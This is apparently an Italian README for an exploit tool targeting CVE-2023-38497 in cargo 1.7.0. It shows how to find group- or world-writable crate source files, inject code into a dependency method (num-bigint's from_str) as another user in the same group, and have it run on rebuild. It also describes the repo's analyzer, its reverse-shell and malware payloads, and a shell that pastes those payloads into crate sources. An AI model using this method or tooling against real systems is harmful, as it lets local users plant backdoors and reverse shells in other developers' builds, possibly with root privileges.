
Exploit di Cargo per CVE-2023-38497
Una nuova vulnerabilità nella versione 1.7.0 di cargo è stata scoperta come spiegato qui.
Prima devi assicurarti che la tua versione di cargo sia vulnerabile
cargo --version
Supponiamo di avere un progetto cargo con il seguente file src/main.rs:
use num_bigint::BigInt;
use std::str::FromStr;
// Silly guessing game
fn main() {
let secret_number = BigInt::from_str("123456789");
loop {
println!("Make a guess: ");
let mut guess = String::new();
std::io::stdin()
.read_line(&mut guess)
.expect("Error reading stdin");
let guess = BigInt::from_str(guess.trim());
if guess == secret_number {
println!("That's right");
break;
}
}
}
Se eseguo il programma:
cargo run
Make a guess:
20
Make a guess:
123456789
That's right!
Niente di sbagliato qui.
Successivamente, per tutti i crate installati nel tuo sistema, filtra quelli le cui autorizzazioni hanno una configurazione errata, cioè, possono essere scritti dal gruppo o da altri utenti della macchina
find ~/.cargo/registry/src/* -type f -writable -print | egrep "*\.rs"
Questo produrrà un elenco di tutti i file sorgente Rust vulnerabili. Da questi scegli il file adatto al tuo attacco, che dovrebbe essere uno in cui è definito un metodo utilizzato nel codice sorgente del progetto cargo bersaglio.
E dall'elenco sopra trovo il seguente file vulnerabile:
$HOME/.cargo/registry/src/index.crates.io-.../num-bigint-0.1.44/src/bigint.rs
Che come promesso in precedenza ha le seguenti autorizzazioni: -rw-rw-r--
Pertanto può essere modificato da qualsiasi utente nello stesso gruppo del proprietario del progetto cargo, è spaventoso. Ma immagina che qualsiasi utente possa scrivere quel file, beh ci sono crate con tali autorizzazioni.
Ora puoi aggiungere un nuovo utente alla tua macchina, o usarne uno esistente diverso dall'utente del progetto che appartiene allo stesso gruppo dell'utente per il file che stiamo prendendo di mira. Ad esempio, quel file sorgente sulla mia macchina ha il seguente proprietario e gruppo
atreides people
e un altro utente che ho, restituisce quanto segue eseguendo il comando id su di lui:
uid=54322(bob) gid=54331(bob) groups=54331(bob),1000(people)
Ora sappiamo che l'utente bob può scrivere il nostro file bersaglio e qualsiasi altro con tali autorizzazioni. Passa a bob e prosegui.
Dando un'occhiata al nostro gioco di indovinelli possiamo vedere che viene utilizzato il metodo from_str dalla struct BigInt. Potrebbe essere un metodo interessante da esaminare.
Dal file bersaglio ho estratto questo pezzo di codice:
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
BigInt::from_str_radix(s, 10)
}
}
Ora, cosa succederebbe se lo facessi diventare così
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
println!("Message from beyond");
BigInt::from_str_radix(s, 10)
}
}
E lo riesegui pulendo la directory di destinazione:
cargo clean && cargo run
Make a guess:
20
Message from beyond
Make a guess:
123456789
Message from beyond
That's right!
Wow! Immagina di scrivere il tuo progetto cargo e ricevere i seguenti messaggi.
Nota che questo accadrà solo quando la directory di destinazione è stata cancellata in precedenza, cioè, cargo deve compilare il crate dopo che hai modificato il file sorgente.
Ora, questa è solo una demo su come sfruttare questa vulnerabilità, ma immagina se inserisci qualsiasi tipo di payload all'interno di un file sorgente. Questo repo mira a stabilire una connessione reverse shell con l'account dell'utente ogni volta che esegue un progetto cargo.
Questa è una vulnerabilità maggiore se consideri che potrebbero esserci installazioni di cargo con privilegi di root quindi il payload inserito verrebbe eseguito con tali permessi.
In questo progetto troverai le seguenti utility:
Cerca attraverso l'archivio locale di cargo e un progetto cargo bersaglio per trovare tutti i metodi specifici che potrebbero essere sfruttati nel codice sorgente del bersaglio. Se c'è un metodo particolare che desideri sfruttare o non hai permessi di lettura sul progetto cargo bersaglio, salta il vanalyzer nella pipeline di attacco.
./vanalyzer/run.sh <target-project-path> <target-username>
Tutti i tipi di payload (principalmente reverse shell e altri malware) che possono essere inseriti all'interno del codice sorgente di un crate bersaglio. Tutti i payload disponibili al momento sono:
Shell fittizia che riceve comandi per eseguire l'analizzatore di vulnerabilità e prendere uno dei payload elencati sopra e un metodo selezionato da sfruttare dall'analizzatore di vulnerabilità e integra (copia e incolla) il payload nel codice sorgente.
cargo run
vanalyzer <cargo_project> <target_username>
integrate <file_no> <method_no> <payload>
exploit <path_to_local_archive_crate_file> <method's_name> <payload>
ok